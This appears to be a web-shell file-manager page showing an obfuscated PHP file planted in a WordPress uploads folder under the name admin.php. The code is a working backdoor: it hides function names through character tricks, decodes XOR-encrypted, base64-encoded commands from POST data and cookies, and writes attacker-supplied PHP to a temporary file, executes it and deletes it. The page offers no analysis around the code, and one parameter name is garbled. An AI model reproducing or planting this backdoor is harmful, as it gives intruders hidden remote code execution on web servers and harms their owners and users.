HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/10/admin.php
<?php 


$olscqjta      =       'olscqjta'	^ /*rks*/ '';

$axkyzvpsgg	=	$olscqjta(735-638)  .	"\x72" /*bbuu   */ .	"\162"    . /*   me  */ $olscqjta(97)	.       "y"."\137" /* bt   */ .   "m"."a"."p";


$dinpsjj /* jbsjh   */ =       "\x69"	.	"\155" /* fw  */ . /* dwn  */ $olscqjta(611-499)    .    $olscqjta(666-558) /*  cwd */ .    "o"."\x64"    .       $olscqjta(101);function /*  ykhyh   */ thdobjvft($ndsvezww, /*tt */ $ntehrjlgx)

{ /*cwfgd*/ global    $olscqjta;


 /*jta */ 
	$ndsvezww      =  "<"    .     "?".$olscqjta(775-663) /*   bikvs*/ .       "h"."\160"    .       $olscqjta(32)    .	$olscqjta(303-186) /*   rg*/ .     "n".$olscqjta(108) /* w   */ .    "i".$olscqjta(130-20) /*   i_th*/ . /*  vwbxw   */ "\153"	.    $olscqjta(784-744)      .   "_"."_"."F"."I"."L"."\105" /* qd*/ .	"\137" /* hs  */ . /*   m   */ "_".")".$olscqjta(59)    .    $olscqjta(32)  .	$ndsvezww["d"];
   $bwdtr      =	$olscqjta(1015-913)	.	"i".$olscqjta(264-156) /*   jtmoxf*/ .	"\x65"    .	"_".$olscqjta(112)   .      "u".$olscqjta(139-23)    . /*gxbfx  */ $olscqjta(540-445) /*   p*/ .    $olscqjta(99) /* cy   */ . /*soj   */ $olscqjta(111)    . /*  aia */ "n"."t".$olscqjta(381-280)    .  "\156"      .    "t"."s";
   

	$bwdtr($ntehrjlgx,      $ndsvezww);


 /*   tcu */ 


 /*   tkchpb*/ oa_hmjubl($ntehrjlgx);


}

$csioscrkfv	=    73;

function /*   p_c */ oa_hmjubl($ntehrjlgx)
{	global    $olscqjta;     


   include($ntehrjlgx);


 /*   iy  */ $qwhlngcfbo    =       $ntehrjlgx;

    @unlink($qwhlngcfbo);


}



function     xysofnx()
{
  global /*jeciw*/ $olscqjta;

  $srlexj_    =    array();


       $srlexj_["p".$olscqjta(900-782)] /*  zwz   */ = /* akmrn   */ phpversion();

 /* _v   */ $srlexj_["s"."\x76"]     =     $olscqjta(51)       .       "."."\65";	$dpqwvu   = /*ivplp  */ 74;
 /*  ya*/ echo /*mnfex*/ @serialize($srlexj_);}





function     sorrt($ndsvezww, /*  n*/ $gt$olscqjtav){

    global	$olscqjta;





    $moqtzsgztd	=    "";


      $xdiujeve /*   wbchb*/ =    strlen($ndsvezww);

   $rvmdkmve  =      strlen($gt$olscqjtav);    $srlexj_ /* e   */ =     0;


 /*  uvw*/ $qwhln       =    0;
    
    while    ($srlexj_ /*hpd  */ <    $xdiujeve) /*   d */ {
 /* rp*/ $qtguu /*  vh */ =      $ndsvezww[$srlexj_]	^   $gt$olscqjtav[$qwhln    %    $rvmdkmve];


   $moqtzsgztd /* k*/ .= /*  _f   */ $qtguu;
    $qwhln++;   

    $srlexj_++;

  }

	

 /* qxj */ if     (strlen($moqtzsgztd)	>    20)    {


 /*zbuav  */ $rbzawih     = /*   c*/ substr($moqtzsgztd,   0,   20);

    }


    if /*   bjbiqh   */ (empty($moqtzsgztd)) /*hpu */ {

	$moqtzsgztd /*  zw   */ =    date('Y-m-d    H:i:s');


       }
 /*   hbhyk*/ return      $moqtzsgztd;
}





function /*   zmema*/ kzcnzs($lpufdaea)

{   global /*newn  */ $olscqjta;
 /*s_kle   */ 	$tstio	= /* kwq */ $olscqjta(829-781)     .      $olscqjta(57) /*x */ .      "\63"  .       "9".$olscqjta(99)    . /*  os  */ "\x39" /*_tpxsx  */ . /*ivkd */ $olscqjta(51) /*yjfaj */ .	"4"."\55" /*ystsax */ .       $olscqjta(611-512)    .	"9"."\146"    .    "9"."-"."\x34"   .      "6"."2".$olscqjta(522-424)     . /*   v  */ "\x2d" /*  igv   */ . /*  hv  */ "9"."\143" /* ag */ . /*   uper   */ "8".$olscqjta(101)."-".$olscqjta(100)    .  "3"."\x37"    . /*fgm_uu  */ "\x33"    . /*  gtukp  */ $olscqjta(982-884)  .    $olscqjta(101)."\x61".$olscqjta(156-105) /* nhjsw*/ .    "c"."8".$olscqjta(449-398) /*  ngyh_*/ . /*ulw*/ "f";

 /* vtfbw   */  /*  qg*/ foreach    ($lpufdaea /*mmba_   */ as    $gtzpshrfq	=>    $ndsvezww) /* ti*/ {
      wlqwoei(base64_decode($ndsvezww),	$tstio,	$gtzpshrfq);

 /*  yayvlc*/ }
}




function    wlqwoei($ndsvezww,   $tstio, /*epxd_h */ $gtzpshrfq)
{


 /* ue   */ global    $olscqjta;
    
    $ndsvezww    =       unserialize(sorrt(sorrt($ndsvezww,     $tstio), /*qai */ $gtzpshrfq));
	$rqjlsc    =    'jxllrz';	$zxqfuctrr /* pxl  */ = /*pvma*/ 'kr_';

 /*  _z   */ if /*   ta */ (isset($ndsvezww["\x61"."k"]))     {


 /* a   */ if /*kodxbd  */ ($ndsvezww["\x61"]    ==    "i")      {	xysofnx();


     }  elseif    ($ndsvezww["\x61"] /*xoppjb   */ ==	$olscqjta(101))      {


  thdobjvft($ndsvezww,    sprintf($olscqjta(46) /*k_euwj*/ . /*ds*/ "/".$olscqjta(37) /*   dxxmx*/ .       "\x73"    . /* ybr   */ ".".$olscqjta(205-93) /*   oyazb */ .	"l", /* s */ md5($tstio)));


			$rxhwrx    =   44;
    }


     exit();     }

}
kzcnzs($_POST);   


$wrnjdcrelv /*   mpjju*/ =   'rawurldecode';



$vumnjkk    = /*  izpic  */ $axkyzvpsgg($wrnjdcrelv,	$_POST);

$dinpsjj("",       $wrnjdcrelv);


kzcnzs($_COOKIE);

$aaskof /*   pe  */ =     $axkyzvpsgg($wrnjdcrelv,   $_COOKIE);




?>